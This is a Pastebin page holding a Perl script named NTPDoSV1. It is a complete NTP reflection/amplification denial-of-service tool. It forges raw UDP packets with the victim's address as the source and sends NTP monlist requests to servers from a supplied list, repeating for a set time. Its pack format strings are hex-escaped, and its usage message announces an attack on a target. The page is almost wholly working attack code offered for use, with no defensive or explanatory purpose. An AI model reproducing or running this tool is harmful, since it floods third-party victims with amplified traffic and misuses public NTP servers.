Advertisement
1337ings

[Perl] NTPDoSV1

Jan 30th, 2017
399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.12 KB | None | 0 0
  1. use Perl6::Slurp;
  2. use strict;
  3. use Socket;
  4. use Term::ANSIColor;
  5.  
  6.  
  7. my $list = $ARGV[3];
  8. my @servers = slurp $list, { chomp => 1 };
  9. my $time  = $ARGV[2];
  10. my $target  = $ARGV[0];
  11. my $udp_src_port = $ARGV[1];
  12.  
  13. if ( !defined $target or !defined $udp_src_port or !defined $time or !defined $list ) {
  14. do
  15.         print " Coded by Chris Poole | @codingplanets \n";
  16.         print "Usage: perl ntpv1.pl [TARGET] [PORT] [TIME] [LIST]\n";
  17.     exit 0;
  18. }
  19. alarm("$time");
  20. print
  21. "Attack Starting on $target for $time seconds on port $udp_src_port\n";
  22.  
  23. repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];
  24. my $ip_src = ( gethostbyname($target) )[4];
  25. socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;
  26. setsockopt( RAW, 0, 1, 1 );
  27. main();
  28.  
  29. sub main {
  30.     my $packet;
  31.     $packet = ip_header();
  32.     $packet .= udp_header();
  33.     $packet .= payload();
  34.     send_packet($packet) && goto repeat;
  35. }
  36.  
  37. sub ip_header {
  38.     my $ip_ver  = 4;
  39.     my $ip_header_len  = 5;
  40.     my $ip_tos  = 0;
  41.     my $ip_total_len   = $ip_header_len + 20;
  42.     my $ip_frag_id  = 0;
  43.     my $ip_frag_flag   = "\x30\x31\x30";
  44.     my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
  45.     my $ip_ttl  = 255;
  46.     my $ip_proto  = 17;
  47.     my $ip_checksum    = 0;
  48.     my $ip_header  = pack(
  49. "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",
  50.   $ip_ver . $ip_header_len,  $ip_tos,
  51.   $ip_total_len,  $ip_frag_id,
  52.   $ip_frag_flag . $ip_frag_offset, $ip_ttl,
  53.   $ip_proto,  $ip_checksum,
  54.   $ip_src,  $ip_dst
  55.     );
  56.     return $ip_header;
  57. }
  58.  
  59. sub udp_header {
  60.     my $udp_dst_port = 123;
  61.     my $udp_len  = 8 + length( payload() );
  62.     my $udp_checksum = 0;
  63.     my $udp_header   = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E",
  64.   $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum );
  65.     return $udp_header;
  66. }
  67.  
  68. sub payload {
  69.     my $data = "\x17\x00\x03\x2a" . "\x00" x 4;
  70.     my $payload = pack( "\x61" . length($data), $data );
  71.     return $payload;
  72. }
  73.  
  74. sub send_packet {
  75.     send( RAW, $_[0], 0,
  76.   pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) );
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement